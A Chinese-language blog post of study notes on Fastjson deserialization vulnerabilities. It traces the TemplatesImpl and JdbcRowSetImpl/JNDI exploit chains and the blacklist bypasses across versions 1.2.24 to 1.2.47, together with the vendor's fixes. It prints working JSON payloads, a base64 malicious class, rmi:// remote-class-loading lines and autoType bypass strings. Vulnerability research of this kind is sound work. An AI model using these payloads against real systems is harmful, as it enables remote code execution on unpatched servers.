apsry

去留无意,宠辱不惊

0%

fastjson反序列化笔记

fastjson反序列化笔记

Fastjson反序列化漏洞基础

参考:

https://www.javasec.org/java-vuls/FastJson.html

https://drops.blbana.cc/

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb

Fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将 Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson在阿里巴巴大规模使用,在数万台服务器上部署,Fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。出现安全问题影响范围很广。

API介绍

  • 序列化:String text = JSON.toJSONString(obj);
  • 反序列化:
    • JSON.parseObject 返回JSONObject类型
    • JSON.parse 返回实际类型对象

Alt text

fastjson反序列化基础

https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/#Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80

Fastjson 使用

使用 Fastjson 无非是将类转为 json 字符串或解析 json 转为 JavaBean。

1. 将类转为 json

在这里我们最常用的方法就是 JSON.toJSONString() ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性。
  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。
  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置。

2. 将 json 反序列化为类

将 json 数据反序列化时常使用的方法为parse()parseObject()parseArray(),这三个方法也均包含若干重载方法,带有不同参数:

  • 反序列化特性:com.alibaba.fastjson.parser.Feature
  • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型。
  • 处理泛型反序列化:com.alibaba.fastjson.TypeReference
  • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息。

先贴一下从大佬博客中拿来的早期版本的 fastjson 的框架图:

img

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

Fastjson反序列化漏洞复现

Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,之后的版本引入了autoType的黑白名单机制。在Fastjson 1.2.22 — 1.2.24 版本的反序列化漏洞利用,主要有以下两种已知利用链

  • TemplateImpl
  • JNDI

用的这个大佬的代码

https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/

https://github.com/BlBana/Learn-Java-Deserialization-Vulnerability/tree/master/src/main/java/cc/blbana/Fastjson

TemplatesImpl 利用链

限制条件

Feature.SupportNonPublicField 需要开启,因为_bytecodes_outputProperties 两个关键属性是私有的+

复现

这边先改下fastjson环境

image-20220403180823100

我们先把ParserConfig.getGlobalInstance().setAutoTypeSupport(true);注释了,这是后面版本用来利用的,这个放到后面讲

image-20220403184527397

先生成class文件

image-20220403184654058

然后执行

image-20220403184818334

payload

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY2MvYmxiYW5hL1RlbXBsYXRlc0ltcGwvRkpQYXlsb2FkOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAsAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHcGF5bG9hZAEAClNvdXJjZUZpbGUBAA5GSlBheWxvYWQuamF2YQwACAAJBwAtDAAuAC8BAARjYWxjDAAwADEBACFjYy9ibGJhbmEvVGVtcGxhdGVzSW1wbC9GSlBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADgANAA8ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAUAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIADwAAAAQAAQAXAAEAEQAYAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAZAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGQAaAAIAAAABABsAHAADAA8AAAAEAAEAFwAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAcAAgAHQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAQAAEAIgAAAAIAIw=="],'_name':'a.b','_tfactory':{},"_outputProperties":{ },"_name":"a","allowedProtocols":"all"}

分析下PoC里的关键key:

  • @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl,Fastjson最终会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;
  • _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常;
  • outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。

漏洞分析

直接下断点跟一下

image-20220403193253184

接下来我们就一步步进行分析

位置:JSON.parseObject() 311行左右

首先会创建默认的Json解析器parser,同时将我们的input作为输入进行传入

image-20220403193352702

image-20220403193439097

位置:DefaultJSONParser 构造函数 175行左右

跟进DefaultJSONParser ,会获取我们input中的第一个字符,然后进入if判断中,如果第一个字符是{ 那么就将12赋值给lexer.token

image-20220403193513607

image-20220403193557247

位置:JSON.parseObject() 311行左右

继续回到parseObject函数中,调用parser的parserObject来解析我们传入的类

image-20220403193810474

在第636行,getDeserializer()会根据我们传入的type类型获取对应的反序列化器,跟进该函数

image-20220403194230200

位置: ParserConfig.getDeserializer 305行左右

跟进getDeserializer 方法后,发现会根据我们传入的type在derializers中寻找对应的反序列化器。

derializers中存放着常见类和其对应的反序列化器(key-value形式),这里由于我们的type是Object.class所以是能够找到对应的反序列化器的,所以进入第一个if,直接返回找到的反序列化器

image-20220403195024076

DefaultJSONParser.parse() 1305行左右

image-20220403195157010

进入到switch,根据之前的token值进入对应的case,来到下面这个case处,这里new了一个JSON对象,然后利用DefaultJSONParser.parseObject() 对这个对象进行解析,此时fieleName为null,因为还没解析json字段中的内容

image-20220403195347568

位置:DefaultJSONParser.parseObject() 205行左右

首先会对json进行一些规范的检测,然后就会判断{ 下一个字符是不是 " ,由于json数据 { 后面就是" 所以我们继续往下看即可

image-20220403195449373

image-20220403195943325

继续往下看会有一个if判断,如果我们的key等于JSON.DEFAULT_TYPE_KEY 同时 没有开启Feature.DisableSpecialKeyDetect 就会进入判断,利用loadClass,加载我们的类对象

image-20220403200033550

然后会根据我们之前加载的类,寻找对应的反序列化器

image-20220403200506356

位置:ParserConfig.getDeserializer() 305行左右

image-20220403200718978

跟进getDeserializer 函数,由于此时我们的type是class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 所以自然是找不到的,所以进入第二个if判断

image-20220403200740633

位置:ParserConfig.getDeserializer() 327行左右

继续跟进getDeserializer方法,在第360行处会经过一个黑名单处理,会获取我们的类名然后判断我们的类是否在黑名单中

image-20220403200825993

image-20220403200859252

经过之后会进行一系列的判断,由于TemplatesImpl类都不在if判断的条件范围内,所以会创建一个JavaBeanDeserializer ,我们跟进createJavaBeanDeserializer 这个函数

image-20220403200940411

位置:ParseConfig.createJavaBeanDeserializer() 469行左右

跟进createJavaBeanDeserializer函数,在第526行左右,发现调用了build函数,前面有讲过build,在build中会利用反射获取类的信息然后存在beanInfo

image-20220403201011648

进入到585行的if判断,进入到JavaBeanDeserializer,我们继续跟进JavaBeanDeserializer 方法

image-20220403201053925

JavaBeanDeserializer 构造函数 38行左右

configJavaBeanInfo传入到JavaBeanDeserializer函数中

image-20220403202012280

遍历beaninfo中的sortedFields,然后根据对应的属性创建对应的反序列化器,然后添加到sortedFieldDeserializerss

在第二个for循环中会根据fieldInfo的名字调用getFieldDeserializer函数在sortedFieldDeserializers数组中寻找对应的反序列化器

image-20220403202123362

image-20220403202446254

getFieldDeserializer就是一个查找的函数,找到了返回对应的反序列化器,没找到则返回null

image-20220403202540773

ParserConfig.getDeserializer 大约466行

重新回到getDeserializer函数,返回反序列化器

image-20220403202921035

位置:DefaultJSONParser.parseObject() 大约368行

在都获取到了对应的反序列化器之后,正式开始进行反序列化

image-20220403203008449

JavaBeanDeserializer.deserialze() 大约266行

在570行左右,对我们的类进行了实例化

image-20220403203255855

JavaBeanDeserializer.parseField() 720行左右

在该方法中利用smartMatch对我们传入的属性进行了模糊匹配,跟进该函数

image-20220403203418039

首先会利用getFieldDeserializer寻找与key对应的反序列化器,如果找不到对应的则会判断是否属性是布尔类型(例:isName)

image-20220403203547679

前半部分不是重点

重点来看后半部分,红框处将_替换为了空,即我们传入的_outputProperties 会在这里变成 outputProperties

image-20220403205650650

然后调用getFieldDeserializer,在sortedFieldDeserializers 中找到getOutputProperties 方法,并且进行返回

image-20220403203941821

DefaultFieldDeserialier.parseField

调用与属性对应的反序列化器,对属性进行反序列化,将反序列化后的值赋值给value,然后进入setValue

此时method已为 getOutputProperties

具体后面就是,后面和CC链差不多就不进去了,参照大佬写的0.0

此时method已为 getOutputProperties

img

利用反射进行触发

img

位置:TemplatesImpl.getOutputProperties() 505行左右

位置:TemplatesImpl.getOutputProperties() 505行左右

然后就会调用getOutputProperties函数,然后getOutputProperties函数中会调用newTransformer()函数,跟进newTransformer函数

img

位置:TemplatesImpl.newTransformer() 481行左右

跟进getTransletInstance() 方法

img

位置:TemplatesImpl.getTransletInstance()

如果_class 等于null,进入defineTransletClasses函数,进行跟进

img

位置:TemplatesImpl.defineTransletClasses() 390行

在414行左右,会调用defineClass来加载字节码

img

位置:TemplatesImpl.getTransletInstance() 446行

在第455行处,对加载的类进行了实例化,然后触发了静态方法,从而触发了恶意命令执行

img

这个时候就走到了调用了

image-20220403210318469

最后走到了执行命令

image-20220403210504134

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链有两种利用方式,都基于Bean Property类型的JNDI利用

RMI可以作为反序列化漏洞的入口(CVE-2017-3241),也可以利用RMI构造EXP实现远程代码执行

  • JNDI + RMI
  • JNDI + LDAP

漏洞类型

反序列化 + JNDI注入 引起命令执行

限制条件

Fastjson 1.2.22 —— 1.2.24,在1.2.25主要结合各种黑名单绕过使用。

JNDI类型PoC主要分类:

  • 基于JNDI Bean Property类型(本篇主要分析)
  • 基于JNDI Field类型

两种类型区别主要在于,Bean Property需要借助setter,getter方法触发;而Field类型没有这个限制

1
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
  • @type:目标反序列化类名;
  • dataSourceName:RMI注册中心绑定恶意服务;
  • autoCommit:调用setAutoCommit方法,利用lookup方法加载远程对象。

复现

分析

和上面的一样,就不分析了,直接放大佬分析的了

触发点还是这里,利用反射触发setAutoCommit方法

img

进入 setAutoCommit 方法

img

然后进入了connect函数方法,然后在connect函数中,发现利用了jndi,那么我们如果控制了 dataSourceName就可以利用 JNDI 注入让客户端进行命令执行了,而这里dataSourceName恰恰可以控制,所以此处远程加载了我们HTTP服务上的恶意class

img

从而弹了计算器

img

Fastjson的抗争史

1.2.25版本修复

官方修复文档 :https://github.com/alibaba/fastjson/wiki/enable_autotype

这里主要是从两个角度进行了修复

  1. 自从1.2.25 起 autotype 默认关闭

  2. 增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制

这里利用 IDEA 自带的代码比较来进行比对

img

跟进 checkAutoType 函数,在第一个红框处首先会进行一个白名单,如果类在白名单中则会直接进行加载,在经过白名单之后又会经过一个黑名单处理,如果我们的类在黑名单中,会直接抛出报错

img

同时在1.2.25中扩充了黑名单类

1
"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework"

1.2.25-1.2.41 绕过

由于在1.2.24修复中默认关闭了AutoType,所以这里我们要在代码中开启,不然会直接抛出错误

1
2
3
4
5
6
public class FJPoC {
public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}

发现在loadclass中,有两个判断,如果开头有 [ 或者 开头是L 结尾是 ; 那么就会去除,这里我们就可以尝试绕过

img

但是这里其实只有 [xxxxx; 才能进行绕过

1
{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}

通过源码断点分析,发现 L 开头并不会进行到 TypeUtils.loadClass() 这一步就会报错了

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}

1.2.42 绕过

在该版本中直接换成了哈希校验,不让我们知道黑名单中的类,同时我们来看红框处的代码

在该if中,对类的第一位和最后一位进行了哈希计算,如果第一位是 L 最后一位是 ; 的话就进行去除,但是可以看到这里其实只去除了一次,我们只需要利用常见的复写即可绕过

img

denyHashCodes 内容如下:

1
-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L

但是由于加密方法在源码中仍存在,所以我们可以通过哈希碰撞来得出黑名单中的类

1
com.alibaba.fastjson.util.TypeUtils#fnv1a_64

目前github上已有项目 https://github.com/LeadroyaL/fastjson-blacklist

img

poc:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}

1.2.43 修复

在 1.2.43 中添加了对于LL 这种绕过方式的判断 ,由于之前的 [ 那种类型在之前就会报错,所以这里用 [ 是不行的

img

1.2.45 修复

黑名单绕过

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

修复措施:

扩充黑名单

img

1.2.25 - 1.2.47 绕过 (通杀

这一块单独拿出来说一下,因为这里的利用思路和前面的不一样

在该payload中,可直接绕过checkAutoType,所以开或不开都可以成功触发

Poc:

RMI 还是上文的那个,所以这里就不重复放了

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/refObj",
"autoCommit":true
}
}

效果图:

img

绕过分析

在本方法中,主要是利用绕过checkAutoType中的黑名单机制来实现,可以看到这里if判断是 &&,这里的绕过方法就是让后面的那个判断为false,这样就可以绕过黑名单机制了

img

1
com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject

首先传入的是java.lang.Class,跟进checkAutoType函数

img

由于黑名单中并不存在java.lang.Class,所以顺利进行到下面的判断,在deserializers中寻找对应typeName的反序列化器,由于java.lang.Class 是默认的类所以汇找到对应的反序列化器

img

回到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject 364行

继续往下看,发现利用反序列化器进行反序列化

img

跟进该方法 com.alibaba.fastjson.serializer.MiscCodec#deserialze 177行

继续往下看来到该方法的 231 行,会调用 com.alibaba.fastjson.parser.DefaultJSONParser#parser 方法来取出我们传入的恶意类

跟进看看

img

跟进com.alibaba.fastjson.parser.DefaultJSONParser#parser,发现会获取我们传入的恶意类 ,并且进行返回

img

然后将返回的数值赋值给 objVal

img

在经过一系列的判断之后会赋值给 strVal

img

继续往下看,会有有一个关键判断,如果解析出来的clazz为java.lang.Class,这里就会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 来加载我们的恶意类

这也就是为什么传入的类一定要是java.lang.Class 的原因所在

img

跟进com.alibaba.fastjson.util.TypeUtils#loadClass,注意这里默认cache为true,将恶意类缓存到mappings中

img

这里再来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType,由于不为TypeUtils.getClassFromMapping(typeName) 不为null,故绕过了黑名单校验,然后在if中取出了我们的恶意类

img

ps:这里为开启了AutoType 的情况,如果没有开启的话也可以触发,如果没有开启,则红框处的if就不会进入,自然也不会走黑名单,而是直接从mapping中获取

img

然后直接进行了返回

img

后面的就和之前的一样了,还是那条链 setvalue中触发,这里不多赘述了

img

1.2.48 修复

在1.2.48中把缓存默认设为false(屏幕太小只能截一部分裂开..

img

img

这样就无法进入该判断了

img

参考:

https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7#8ee945e5

https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/

https://www.javasec.org/java-vuls/FastJson.html